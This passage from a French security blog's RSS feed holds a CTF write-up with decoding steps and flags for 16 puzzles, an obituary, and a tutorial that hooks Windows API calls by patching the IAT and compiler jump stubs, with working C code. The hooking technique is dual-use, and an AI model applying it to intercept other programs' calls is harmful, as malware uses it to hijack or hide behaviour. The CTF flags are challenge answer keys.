<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h1 style="text-align: center;">WRITE UP #15 &#8211; Secrets</h1>
<p>Nous sommes face à un dossier contenant 16 petites épreuves. [ <a title="Secrets.zip" href="http://blog.zenk-security.com/wp-content/uploads/2012/02/Secrets.zip" target="_blank">Disponible ici</a> ]</p>
<p><strong>1.</strong><br />
<code><br />
001100000011001000110101001100010011011000111000011000010011010100110011001101<br />
010011011101100110001110010110010100110000011000010110010000110111011001100110<br />
001100110111001100100011011001100110011001100110000100110010001101110011100100<br />
1101000011010100110100<br />
</code><br />
On reconnait la forme binaire. Binary to string<br />
Flag : <strong>025168a5357f9e0ad7fc726ffa279454</strong></p>
<p><strong>2.</strong><br />
YmM1OTJkOGI5YjhmYzRkODQ4NTU3NDI4NDU2ZWIzYWM=</p>
<p>On reconnait la forme de l&#8217;encodage base64. Base64 to string<br />
Flag : <strong>bc592d8b9b8fc4d848557428456eb3ac</strong></p>
<p><strong>3.</strong><br />
102:98:48:100:53:102:50:101:57:101:102:97:99:100:97:56:55:54:50:56:49:56:98:52:48:101:101:98:57:50:56:57</p>
<p>On reconnait la forme décimale. Decimal to string<br />
Flag : <strong>fb0d5f2e9efacda8762818b40eeb9289</strong></p>
<p><strong>4.</strong><br />
ST_nIoPemoSroFTI_TImbuS-G4lF_3hT_zI_Siht</p>
<p>Ici, il suffit de remettre en forme le flag..<br />
Flag : <strong>thiS_Iz_Th3_Fl4G-SubmIT_ITForSomePoin_TS</strong></p>
<p><strong>5.</strong><br />
So0%2000%2000%2000%20TT%20</p>
<p>On reconnait la syntaxe d&#8217;encodage grâce aux %20 . Il suffit d&#8217;url decode le contenu.<br />
Flag : <strong>So0 00 00 00 TT </strong></p>
<p><strong>6.</strong><br />
41:4e:4f:54:48:45:52:46:4c:41:47:59:45:53:49:4b:4e:4f:57:49:54:</p>
<p>On reconnait la forme hexadecimal. Hexadecimal to string<br />
<strong>ANOTHERFLAGYESIKNOWIT</strong></p>
<p><strong>7.</strong><br />
PNALBHFRRZRVTHRFFLBHQB</p>
<p>Après les différents chiffrements rencontrés au début. Nous avons tout de suite pensé au ROT13.<br />
Flag :<strong> CANYOUSEEMEIGUESSYOUDO</strong></p>
<p><strong>8.</strong><br />
En regardant le code hexadecimal, on remarque que la fin de l&#8217;image <a title="JPEG structure" href="http://en.wikipedia.org/wiki/JPEG#Syntax_and_structure" target="_blank">JPEG</a> ne finit pas par FF D9 ( End of image ).<br />
Un petit coup de <a title="Foremost" href="http://foremost.sourceforge.net " target="_blank">Foremost</a> et on obtient une archive zippé protégée par mot de passe. En brute forçant l&#8217;archive, nous obtenons rapidement le password &laquo;&nbsp;<strong>pass</strong>&laquo;&nbsp;.<br />
Flag : <strong>8727a6fd1df003d9870654c16d02d39c</strong></p>
<p><strong>9.</strong><br />
En ouvrant l&#8217;image avec un logiciel graphique ( en l’occurrence ici Gimp ) et à l&#8217;aide du pot de peinture à faible seuil ( 0,1 ), on obtient une écriture qui y a été dissimulé.<br />
Flag : <strong>JE5POIBB7KOUB54</strong></p>
<p><strong>11.</strong><br />
En faisant un hexdump -C sur le binaire, nous arrivons à obtenir le flag obfusqué.<br />
Flag : <strong>Th1SiSmYp455w0rD</strong></p>
<p><strong>12.</strong><br />
Un fichier texte qui contient un espèce de pseudo code en SMS :<br />
HAI<br />
CAN HAS STDIO?<br />
I HAS A VAR<br />
GIMMEH VAR<br />
BTW I LUV EDOCLOL<br />
IZ VAR EQUAL &laquo;&nbsp;IHAZZOMVAR&nbsp;&raquo;?<br />
YARLY<br />
VISIBLE &laquo;&nbsp;GUD&nbsp;&raquo;<br />
NOWAI<br />
VISIBLE &laquo;&nbsp;SUX&nbsp;&raquo;<br />
KTHX<br />
KTHXBYE</p>
<p>On voir le &laquo;&nbsp;is var equal &laquo;&nbsp;IHAZZOMVAR&nbsp;&raquo;"<br />
On en déduis sur le flag est <strong>IHAZZOMVAR</strong></p>
<p><strong>13.</strong><br />
Il s&#8217;agit du langage de programmation <a title="whitespace" href="http://en.wikipedia.org/wiki/Whitespace_%28programming_language%29" target="_blank">whitespace</a>.<br />
Grâce à l’interpréteur <a title="Ideone" href="http://ideone.com" target="_blank">Ideone</a>, nous obtenons le flag.<br />
Flag : <strong>12345678910</strong></p>
<p><strong>14.</strong><br />
Nous avons une recette de cuisine avec différents ingrédients.</p>
<p>On remarque que les quantités correspondent toutes à un caractères ascii decimal :<br />
<code>105 beer - i<br />
102 mushrooms - f<br />
72 cheese - H<br />
85 jelly - U<br />
74 tacos - J<br />
69 beans - E</code></p>
<p>Il ne nous reste plus qu&#8217;à suivre la recette et le tour est joué !<br />
<code>Put mushrooms into the mixing bowl. - f<br />
Put beer mustard into the mixing bowl. - i<br />
Put cheese mustard into the mixing bowl. - H<br />
Put tacos mustard into the mixing bowl. - J<br />
Put beans mustard into the mixing bowl. - E<br />
Put jelly mustard into the mixing bowl. - U<br />
Put cheese mustard into the mixing bowl. - H</code></p>
<p>Flag : <strong>fiHJEUH</strong></p>
<p><strong>15.</strong><br />
Il s&#8217;agit d&#8217;un message codé en <a title="Brainfuck" href="http://fr.wikipedia.org/wiki/Brainfuck" target="_blank">brainfuck</a>.<br />
Flag : <strong>f030ae8cd0e293fc332290c7fe5f9c8c</strong></p>
<p><strong>16.</strong><br />
Un simple &laquo;&nbsp;rar l 016&#8243; suffit pour obtenir le flag en commentaire.<br />
Flag : <strong>iojGRU84HXBYY3R6T</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2012/02/20/write-up-ifsf-ctf-challenges/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bonne route CrashFR.</title>
		<link>http://blog.zenk-security.com/index.php/2011/12/05/bonne-route-crashfr/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/12/05/bonne-route-crashfr/#comments</comments>
		<pubDate>Mon, 05 Dec 2011 20:22:49 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=198</guid>
		<description><![CDATA[CrashFR n&#8217;est plus depuis vendredi]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F12%2F05%2Fbonne-route-crashfr%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F12%2F05%2Fbonne-route-crashfr%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img class="alignleft" title="tristesse" src="http://forum.zenk-security.com/attachment.php?aid=226" alt="" width="280" height="280" />CrashFR n&#8217;est plus depuis vendredi soir, c&#8217;est une énorme perte pour la scène de la sécurité informatique Francophone et nous nous associons unanimement au chagrin de sa famille et de sa communauté.</p>
<p>Les réalisations qui portent son empreinte indélébile sont nombreuses et zenk-security elle-même ne serait pas ce qu&#8217;elle est aujourd&#8217;hui sans lui, nous savons lui devoir beaucoup, lui qui portait haut les valeurs de partage et d&#8217;entraide au sein d&#8217;un milieu parfois élitiste.</p>
<p>Sa persévérance et son acharnement à mener à bien ses projets l&#8217;ont pousser à réaliser ce que peux auraient eu l&#8217;audace de rêver pour une vie entière. Lui qui nous quitte brutalement laisse un gouffre béant dans nos cœurs, une étoile s&#8217;est éteinte laissant tout un milieu sous le choc.<br />
Le soleil d&#8217;une communauté, que nous estimons énormément et avec laquelle nous sommes liée de par nos membres, s&#8217;est couché, il laisse de nombreux projets en suspens, orphelin de leur créateur.</p>
<p>Il nous abandonne à tous une tâche inachevée, celle d&#8217;offrir la connaissance aux ignorants, celle de lutter pour notre liberté d&#8217;apprendre, à nous tous de ne pas l&#8217;oublier et poursuivre son oeuvre.</p>
<p>Par pudeur nous n&#8217;en diront pas plus et vous recommanderons de vous rendre sur les liens plus bas pour lire le communiqué officiel de la communauté HZV et pour lui rendre un dernier hommage.</p>
<p>CrashFR, au nom de la communauté zenk-security, merci de tout ce que tu as fait pour notre utopie commune.</p>
<p><a title="http://www.hackerzvoice.net/node/155" href="http://www.hackerzvoice.net/node/155" target="_blank">http://www.hackerzvoice.net/node/155</a></p>
<p><a title="http://www.virtualabs.fr/spip.php?article57" href="http://www.virtualabs.fr/spip.php?article57" target="_blank">http://www.virtualabs.fr/spip.php?article57</a></p>
<p><a title="http://korben.info/tchao-paulo.html" href="http://korben.info/tchao-paulo.html" target="_blank">http://korben.info/tchao-paulo.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.zenk-security.com/index.php/2011/12/05/bonne-route-crashfr/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Abusing Naive Compiler for IAT Hooking par Homeostasie</title>
		<link>http://blog.zenk-security.com/index.php/2011/07/02/iathooking/</link>
		<comments>http://blog.zenk-security.com/index.php/2011/07/02/iathooking/#comments</comments>
		<pubDate>Sat, 02 Jul 2011 00:08:52 +0000</pubDate>
		<dc:creator>caracole</dc:creator>
				<category><![CDATA[applicatif]]></category>
		<category><![CDATA[Abusing]]></category>
		<category><![CDATA[compilateur]]></category>
		<category><![CDATA[Compiler]]></category>
		<category><![CDATA[Hooking]]></category>
		<category><![CDATA[IAT]]></category>
		<category><![CDATA[Naive]]></category>

		<guid isPermaLink="false">http://blog.zenk-security.com/?p=178</guid>
		<description><![CDATA[1. Introduction &#160; A une]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F07%2F02%2Fiathooking%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fblog.zenk-security.com%2Findex.php%2F2011%2F07%2F02%2Fiathooking%2F&amp;source=ZenkSecurity&amp;style=normal&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><!-- 		@page { margin: 2cm } 		P { margin-bottom: 0.21cm } 		H1 { margin-bottom: 0.21cm } 		H1.western { font-family: "Arial", sans-serif; font-size: 16pt } 		H1.cjk { font-family: "DejaVu Sans"; font-size: 16pt } 		H1.ctl { font-family: "DejaVu Sans"; font-size: 16pt } 		A:link { so-language: zxx } --></p>
<h1><span style="font-size: medium;"><a href="http://blog.zenk-security.com/wp-content/uploads/2011/07/sécu.jpg"><img class="alignleft size-full wp-image-186" title="sécu" src="http://blog.zenk-security.com/wp-content/uploads/2011/07/sécu.jpg" alt="" width="286" height="300" /></a>1. Introduction</span></h1>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">A une époque lointaine et mystérieuse, lorsque je tâchais de comprendre le principe de l&#8217;IAT (Import Address Table), je me suis intéressé aux méthodes pour hooker, ou crocheter en terme bien français, certaines APIs. Il s&#8217;avérait que la méthode bien connue est de parser le fichier PE (Portable Executable) à la recherche de la section d&#8217;importation répertoriée dans le tableau DataDirectory. Cette section étant elle-même un tableau de structure </span></span>IMAGE_DIRECTORY_ENTRY_IMPORT <span style="font-family: Arial,sans-serif;"><span style="font-size: small;">associée à chaque DLL importée.<br />
Cette méthode largement employée m&#8217;a semblé trop commune et j&#8217;ai cherché un moyen pour modifier une entrée de l&#8217;IAT sans avoir besoin de réaliser tout ce travail de parsing.</span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">La solution retenue, néanmoins non fonctionnelle sur tout les exécutables, est d&#8217;abuser d&#8217;un programme compilé par un compilateur dit naïf.</span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;"><br />
Dans un premier temps, je vous expliquerai donc ce qu&#8217;on entend par compilateur &laquo;&nbsp;naïf&nbsp;&raquo; et moins &laquo;&nbsp;naïf&nbsp;&raquo;. Pour la partie pratique, je fournirai un exemple de programme qui permet de modifier une entrée de l&#8217;IAT lorsqu&#8217;un binaire est compilé avec un compilateur dit &laquo;&nbsp;naïf&nbsp;&raquo;. Finalement, j&#8217;irai encore plus loin avec l&#8217;utilisation de cette méthode pour hooker une API sans avoir besoin de modifier l&#8217;entrée dans la table d&#8217;importation.</span></span></p>
<p>&nbsp;</p>
<p><span id="more-178"></span></p>
<p>&nbsp;</p>
<h1><strong><span style="font-size: medium;">2. Explication sur un compilateur dit « naïf »</span></strong></h1>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">C&#8217;est un compilateur qui ne détermine pas si une fonction est importée à partir d&#8217;un autre module. Dans le cas où la fonction est importée, le compilateur génère simplement une instruction de type CALL sur le nom de la fonction, laissant la résolution de ce mystère à l&#8217;éditeur de liens. </span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Le linker découvre ensuite si la fonction est importée et gère ce cas de figure. Comme le linker ne peut écraser les instructions CALL générées par le   compilateur, un niveau de redirection, appelé aussi stub, jouant le rôle de fonction trampoline va être créé. Ce qui permettra au final de rebondir sur la réelle adresse de la fonction importée dont celle-ci se trouve effectivement dans l&#8217;IAT. </span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Une des conséquences de ce type de fonctionnement est que si l&#8217;on essaye de récupérer l&#8217;adresse d&#8217;une fonction par son nom, alors on obtient l&#8217;adresse du stub et non l&#8217;adresse se trouvant dans l&#8217;IAT. L&#8217;astuce portant sur ce point, un peu plus loin, je montrerai comment exploiter ce principe de fonctionnement.</span></span></p>
<p>&nbsp;</p>
<p lang="zxx"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Pratiquement, analysons le code suivant ainsi que l&#8217;assembleur généré :</span></span></p>
<p>&nbsp;</p>

<div class="wp_syntax"><div class="code"><pre class="zxx" style="font-family:monospace;">&lt;span style=&quot;font-family: Arial,sans-serif;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;int main()&lt;/span&gt;&lt;/span&gt;
{
    MessageBox(0,&quot;Hello world, I am not hooking!&quot;,&quot;Welcome&quot;,0);
&nbsp;
    return 0;
}</pre></div></div>

<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">qui nous donne ceci :</span></span></p>
<p>&nbsp;</p>
<pre><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401338  |. C70424 0000000&gt;MOV DWORD PTR SS:[ESP],0    ; |</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">0040133F  |. 31C0           XOR EAX,EAX                                        ; |</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401341  |. B9 2C304000    MOV ECX,NaiveCom.0040302C      ; |ASCII "Hello world, I am not hooking!"</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401346  |. 894424 0C      MOV DWORD PTR SS:[ESP+C],EAX; |</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">0040134A  |. B8 4B304000    MOV EAX,NaiveCom.0040304B      ; |ASCII "Welcome"</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">0040134F  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX ; |</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401353  |. 894C24 04      MOV DWORD PTR SS:[ESP+4],ECX; |</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401357  |. E8 AC050000    CALL &lt;JMP.&amp;USER32.MessageBox&gt;  ; \MessageBoxA</span></span></pre>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">L&#8217;adresse correspondant à l&#8217;appel vers JMP.&amp;USER32.MessageBoxA est 0&#215;00401908 et pointe vers le stub pour rebondir vers l&#8217;IAT:</span></span></p>
<p>&nbsp;</p>
<pre><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401908   $-FF25 20514000  JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ;  </span></span></pre>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">où [&lt;&amp;USER32.MessageBoxA&gt;] est égale à 0&#215;405120.<br />
</span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Maintenant, vérifions que l&#8217;adresse 0&#215;405120 fait bien partie de la section d&#8217;importation de notre binaire généré, c&#8217;est à dire à l&#8217;intérieur de la section nommée « .idata ». Pour cela, j&#8217;ai utilisé le logiciel ollydebug pour visualiser le mapping mémoire qui nous donne pour la zone concernée ceci:</span></span></p>
<pre><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Memory map</span></span>
Address    Size       Owner      Section    Contains      Type   Access    Initial   Mapped as
...
00400000   00001000   NaiveCom              PE header     Imag   R        RWE
00401000   00001000   NaiveCom   .text      code          Imag   R        RWE
00402000   00001000   NaiveCom   .data      data          Imag   R        RWE
00403000   00001000   NaiveCom   .rdata                   Imag   R        RWE
00404000   00001000   NaiveCom   .bss                     Imag   R        RWE
00405000   00001000   NaiveCom   .idata     imports       Imag   R        RWE
...</pre>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">On constate bien que l&#8217;adresse 0&#215;405120 pour USER32.MessageBoxA se situe dans la table d&#8217;importation.</span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Pour conclure cette analyse, vérifions que le contenu situé à l&#8217;adresse 0&#215;405120 est bien l&#8217;adresse de la fonction MessageBox faisant parti de l&#8217;espace d&#8217;adressage de « user32.dll ». Dans mon cas de figure, à cet emplacement mémoire, l&#8217;entier stocké sur 4 octets possède la valeur 0x7E4507EA.</span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">D&#8217;après le mapping mémoire de « user32.dll », j&#8217;obtiens ceci:</span></span></p>
<pre><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">....</span></span>
7E410000   00001000   USER32                PE header     Imag   R        RWE
7E411000   00060000   USER32     .text      code,imports  Imag   R        RWE
7E471000   00002000   USER32     .data      data          Imag   R        RWE
7E473000   0002B000   USER32     .rsrc      resources     Imag   R        RWE
7E49E000   00003000   USER32     .reloc     relocations   Imag   R        RWE
...</pre>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">L&#8217;adresse 0x7E4507EA se situe bien dans la zone « .text » de « user32.dll » chargée dans la mémoire du processus.</span></span></p>
<p>&nbsp;</p>
<p><strong><span style="font-size: medium;">3. Explication sur un compilateur moins « naïf »</span></strong></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">De ce que j&#8217;ai pu lire mais sans avoir pu tester durant la rédaction de  ce papier, certains compilateurs déterminent si une fonction est déclarée en tant que fonction importée. </span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">En tirant parti de cette information, le code généré sera différent de celui que j&#8217;ai expliqué dans la partie précédente. En effet, aucun stub ne sera créé et le compilateur se chargera de générer l&#8217;instruction CALL directement sur la fonction importée. </span></span></p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">De plus, une optimisation est réalisée dans le cas d&#8217;appel successif de la même API où l&#8217;adresse de la fonction importée sera stockée dans un registre au préalable. </span></span></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Ci-dessous, deux exemples de code assembleur généré:</span></span></p>
<p>&nbsp;</p>
<pre><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">PUSH EBX</span></span>
<span style="font-size: x-small;">PUSH EDI</span>
<span style="font-size: x-small;">CALL DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;]  ; Appel direct</span></pre>
<p><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">ou bien encore:</span></span></p>
<p>&nbsp;</p>
<pre><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">mov   ebx, [__imp__FunctionName]</span></span></span>
<span style="font-size: x-small;">push  1</span>
<span style="font-size: x-small;">call  ebx ; FunctionName(1)</span>
<span style="font-size: x-small;">push  2</span>
<span style="font-size: x-small;">call  ebx ; FunctionName(2)</span></pre>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Un problème peut ici survenir dans le patching d&#8217;IAT où à cause de l&#8217;optimisation, même si il est possible de modifier une entrée de l&#8217;IAT, le patch ne sera pas pris en compte car l&#8217;adresse originale est déjà chargée dans un registre. </span></span></span></p>
<p>&nbsp;</p>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Un moyen de déterminer si votre compilateur est plutôt naïf ou instruit, c&#8217;est de vérifier grâce au code suivant si fnMessageBox est égale à fnMessageBox2. </span></span></span></p>
<p>&nbsp;</p>
<pre><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);</span></span></span>
<span style="font-size: x-small;">int main()</span>
<span style="font-size: x-small;">{</span>
    <span style="font-size: x-small;">MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;</span>
    <span style="font-size: x-small;">MESSAGEBOX fnMessageBox2 = (MESSAGEBOX)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA");</span>
    <span style="font-size: x-small;">printf("Jump Thunk Address: 0x%08x\nReal Address: 0x%08x\n", (UINT)fnMessageBox, (UINT)fnMessageBox2);</span>

    <span style="font-size: x-small;">return 0;</span>
<span style="font-size: x-small;">}</span></pre>
<p>&nbsp;</p>
<p><strong><span style="font-size: medium;">4. Hooker une entrée de l&#8217;IAT d&#8217;un compilateur naïf sans parser le PE</span></strong></p>
<p>&nbsp;</p>
<p><span style="font-family: Arial,sans-serif;">Au point où nous en sommes, rien de mieux qu&#8217;un code d&#8217;exploitation pour illustrer la technique mise en place.<br />
</span></p>
<p><span style="font-family: Arial,sans-serif;">Connaissant dorénavant le mécanisme de fonctionnement décrit plus haut, je vous fournis un source que j&#8217;ai réalisé et compilé sous WinXP 32 bits avec le compilateur GNU GCC. Ce code permets donc de hooker l&#8217;IAT d&#8217;une API sans passer par la méthode traditionnelle d&#8217;analyse d&#8217;un PE. Vous constaterez que c&#8217;est plus rapide, voire même moins compliqué.</span></p>
<p><span style="font-family: Times New Roman,serif;">#include &lt;stdio.h&gt;</span></p>
<pre><span style="font-family: Times New Roman,serif;">#include &lt;stdlib.h&gt;</span>
<span style="font-family: Times New Roman,serif;">#include &lt;windows.h&gt;</span>

<span style="font-family: Times New Roman,serif;">typedef int (WINAPI * MESSAGEBOX)(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);</span>
<span style="font-family: Times New Roman,serif;">MESSAGEBOX g_oldAddress;</span>

<span style="font-family: Times New Roman,serif;">int MyMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType)</span>
<span style="font-family: Times New Roman,serif;">{</span>
    <span style="font-family: Times New Roman,serif;">return g_oldAddress(hWnd, "IAT Hooking without parsing IAT", "IAT Hooking", uType);</span>
<span style="font-family: Times New Roman,serif;">}</span>

<span style="font-family: Times New Roman,serif;">int main()</span>
<span style="font-family: Times New Roman,serif;">{</span>
    <span style="font-family: Times New Roman,serif;">DWORD fnThunkAddress;</span>
    <span style="font-family: Times New Roman,serif;">DWORD *JmpOffsetAddress;</span>
    <span style="font-family: Times New Roman,serif;">DWORD fnIATAddress;</span>

    <span style="font-family: Times New Roman,serif;">MessageBox(0,"Hello world, I am not hooking!","Welcome",0);</span>
    <span style="font-family: Times New Roman,serif;">MESSAGEBOX fnMessageBox = (MESSAGEBOX)MessageBox;</span>
    <span style="font-family: Times New Roman,serif;">MESSAGEBOX fnMessageBox2 = (MESSAGEBOX)GetProcAddress(GetModuleHandle("User32.dll"), "MessageBoxA");</span>
    <span style="font-family: Times New Roman,serif;">printf("Thunk Address: 0x%08x\nReal Address: 0x%08x\n", (UINT)fnMessageBox, (UINT)fnMessageBox2);</span>

    <span style="font-family: Times New Roman,serif;">// Get the thunk or jump address</span>
    <span style="font-family: Times New Roman,serif;">fnThunkAddress = (DWORD)fnMessageBox;</span>

    <span style="font-family: Times New Roman,serif;">// Get the address which is supplied to the jump instruction: This address represent IATs entry of MessageBox() </span>
    <span style="font-family: Times New Roman,serif;">JmpOffsetAddress = (DWORD*)*(DWORD*)(fnMessageBox+2);</span>

    <span style="font-family: Times New Roman,serif;">// Get the real address of MessageBox() function</span>
    <span style="font-family: Times New Roman,serif;">fnIATAddress = *JmpOffsetAddress;</span>

    <span style="font-family: Times New Roman,serif;">// Save the old MessageBox() address</span>
    <span style="font-family: Times New Roman,serif;">g_oldAddress = (MESSAGEBOX)fnIATAddress;</span>

    <span style="font-family: Times New Roman,serif;">// Hook IAT with MyMessageBox() function</span>
    <span style="font-family: Times New Roman,serif;">*JmpOffsetAddress = (DWORD)MyMessageBox;</span>

    <span style="font-family: Times New Roman,serif;">MessageBox(0,"Hello world, I am not hooking!","Welcome",0);</span>
    <span style="font-family: Times New Roman,serif;">return 0;</span></pre>
<p><span style="color: #000000;"><span style="font-family: Times New Roman,serif;"><span style="font-size: small;">}</span></span></span></p>
<h1><strong><span style="font-size: medium;">5. Hooker une API sans modifier l&#8217;IAT pour un binaire généré avec un compilateur « naïf »</span></strong></h1>
<p>&nbsp;</p>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">Dans l’exemple précédent, nous avons vu de quelle manière on pouvait remonter jusqu’à une entrée de l’IAT sans avoir besoin de la parser de manière traditionnelle. Pour aller plus loin, je vais vous montrer qu’il est aussi possible de hooker une API sans avoir besoin de modifier l’IAT en tirant avantage des stubs générés par le compilateur naïf.</span></span></span></p>
<p>Ci-dessous, une partie de la « jump thunk table » de mon programme précédemment compilé:</p>
<pre><span style="color: #000000;"><span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A8C   $-FF25 30514000  JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ;  USER32.MessageBoxA</span></span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A92     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A93     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A94   .-FF25 CC504000  JMP DWORD PTR DS:[&lt;&amp;KERNEL32.ExitProcess&gt;;  kernel32.ExitProcess</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A9A     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A9B     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401A9C   $-FF25 D8504000  JMP DWORD PTR DS:[&lt;&amp;KERNEL32.SetUnhandle&gt;;  kernel32.SetUnhandledExceptionFilter</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401AA2     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401AA3     90             NOP</span></span>
<span style="font-family: Times New Roman,serif;"><span style="font-size: x-small;">00401AA4   $-FF25 DC504000  JMP DWORD PTR DS:[&lt;&amp;KERNEL32.VirtualProt&gt;;  kernel32.VirtualProtect</span></span></pre>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">On constate que l’instruction pour rebondir vers l’IAT correspond à un « JMP DWORD PTR DS :[address] ». L’astuce que je propose pour détourner l’appel consiste à venir écraser cette instruction par un « jump long » vers notre fonction de détour. Au niveau </span></span></span></p>
<p><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: small;">opcode, un « jmp long » prendra un octet de moins, c’est à dire 5 au lieu de 6, je prendrais donc soin de rajouter un NOP.</span></span></span></p>
<p>Voici ce que j’obtiens après modification de l’instruction :</p>
<p>&nbsp;</p>
<pre><span style="color: #000000;"><span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A8C   $^E9 91F8FFFF    JMP NaiveCom.00401322</span></span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A91   ? 90             NOP</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A92     90             NOP</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A93     90             NOP</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A94   .-FF25 CC504000  JMP DWORD PTR DS:[&lt;&amp;KERNEL32.ExitProcess&gt;;  kernel32.ExitProcess</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A9A     90             NOP</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A9B     90             NOP</span></span>
<span style="font-family: Arial,sans-serif;"><span style="font-size: x-small;">00401A9C   $-FF25 D8504000  JMP DWORD PTR DS:[&lt;&amp;KERNEL32.SetUnhandle&gt;;  kernel32.SetUnhandledExceptionFilter</span></span></pre>
